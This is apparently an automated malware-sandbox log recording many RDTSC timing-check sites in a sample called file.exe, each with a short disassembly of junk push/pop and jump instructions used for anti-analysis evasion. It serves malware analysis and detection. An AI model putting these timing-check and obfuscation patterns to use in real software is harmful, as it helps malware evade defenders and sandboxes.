Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3E4 second address: E6F400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21116h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F400 second address: E6F40A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5408F96886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F40A second address: E6F40E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F7CA second address: E6F7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F7D0 second address: E6F7F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F5408C21110h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F7F5 second address: E6F7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F7F9 second address: E6F7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F7FF second address: E6F805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F805 second address: E6F81F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5408C21115h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F81F second address: E6F825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F971 second address: E6F985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21110h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FAFC second address: E6FB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F5408F96886h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FB0D second address: E6FB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FC48 second address: E6FC59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F5408F96886h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FC59 second address: E6FC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F5408C2110Bh 0x0000000f jc 00007F5408C2110Eh 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FC78 second address: E6FC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FC80 second address: E6FC84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FDC7 second address: E6FDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5408F96886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FDD1 second address: E6FDE1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F5408C21106h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48A84 second address: E48A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70055 second address: E70068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408C2110Eh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E705DD second address: E705E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E705E1 second address: E705F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F5408C21106h 0x0000000d jbe 00007F5408C21106h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E705F6 second address: E70601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70601 second address: E70617 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5408C21106h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F5408C21106h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70617 second address: E7061B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70904 second address: E7090E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5408C21106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7090E second address: E70917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70917 second address: E70920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37BD1 second address: E37BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 je 00007F5408F96892h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37BE2 second address: E37C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5408C21106h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5408C21117h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37C09 second address: E37C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37C0E second address: E37C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5408C21119h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37C2B second address: E37C48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F5408F96891h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79512 second address: E7954B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5408C2110Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jns 00007F5408C21106h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5408C21110h 0x00000017 jmp 00007F5408C21117h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B7E9 second address: E7B7ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B7ED second address: E7B804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5408C2110Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EA9D second address: E7EADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96891h 0x00000007 jmp 00007F5408F9688Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F5408F9688Bh 0x00000015 jno 00007F5408F96886h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jne 00007F5408F96886h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EADD second address: E7EAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EAE1 second address: E7EAE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7ED7B second address: E7ED81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F2B9 second address: E7F2BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F2BD second address: E7F2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80D54 second address: E80D5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81165 second address: E8116B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8116B second address: E81170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81268 second address: E8127F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8179A second address: E8179E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81936 second address: E8193C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81B93 second address: E81B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81B98 second address: E81B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81B9E second address: E81BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F5408F9688Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81BB4 second address: E81BB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81C83 second address: E81C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5408F9688Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82306 second address: E82322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5408C21118h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82322 second address: E82326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83EE7 second address: E83EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E835AC second address: E835B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83EED second address: E83EF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E835B9 second address: E835BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E868FC second address: E86903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85235 second address: E85250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5408F96897h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E398 second address: E8E39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F4E4 second address: E8F4E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F583 second address: E8F589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E661 second address: E8E674 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E674 second address: E8E67A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E925B1 second address: E925C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F5408F96886h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9162A second address: E9163D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5408C2110Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90728 second address: E90730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E925C2 second address: E925D7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5408C2110Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93829 second address: E93836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F5408F96886h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95574 second address: E9557A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9557A second address: E955B2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5408F96888h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D276Ch] 0x00000013 push 00000000h 0x00000015 or edi, 672A7537h 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e push ecx 0x0000001f cld 0x00000020 pop esi 0x00000021 jnc 00007F5408F9688Ch 0x00000027 popad 0x00000028 mov bx, dx 0x0000002b push eax 0x0000002c push esi 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E96452 second address: E96457 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9579D second address: E957A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97398 second address: E97428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D234Dh] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F5408C21108h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov bl, 13h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007F5408C21108h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D1820h], edx 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 pushad 0x00000055 jmp 00007F5408C21116h 0x0000005a pushad 0x0000005b popad 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F5408C2110Ch 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E983F0 second address: E983F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E983F4 second address: E983F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98462 second address: E9846C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5408F9688Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A6DA second address: E9A6E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5408C21106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A6E4 second address: E9A6F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A6F2 second address: E9A6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9865F second address: E9866D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9653F second address: E96557 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5408C21110h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D73F second address: E9D74F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F5408F9688Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D74F second address: E9D76B instructions: 0x00000000 rdtsc 0x00000002 js 00007F5408C2110Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007F5408C2110Ah 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D76B second address: E9D771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DCC8 second address: E9DCE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21110h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DCE3 second address: E9DD67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 mov bl, 00h 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F5408F96888h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D2BAFh], edx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007F5408F96888h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 sub dword ptr [ebp+122D17EAh], edx 0x0000004e jmp 00007F5408F96899h 0x00000053 mov bh, 3Fh 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DD67 second address: E9DD6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DD6B second address: E9DD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnl 00007F5408F96886h 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5408F96894h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EE94 second address: E9EF0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007F5408C2110Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push esi 0x0000000e jmp 00007F5408C2110Fh 0x00000013 pop esi 0x00000014 nop 0x00000015 cmc 0x00000016 push 00000000h 0x00000018 pushad 0x00000019 mov ecx, eax 0x0000001b sub ebx, 3287B071h 0x00000021 popad 0x00000022 push 00000000h 0x00000024 sub dword ptr [ebp+122D17E2h], edx 0x0000002a jmp 00007F5408C2110Ch 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 push eax 0x00000032 jmp 00007F5408C21119h 0x00000037 pop eax 0x00000038 pushad 0x00000039 jmp 00007F5408C2110Dh 0x0000003e push edi 0x0000003f pop edi 0x00000040 popad 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DEBC second address: E9DEC6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5408F9688Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA69B2 second address: EA69BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 je 00007F5408C21106h 0x0000000c popad 0x0000000d rdtsc
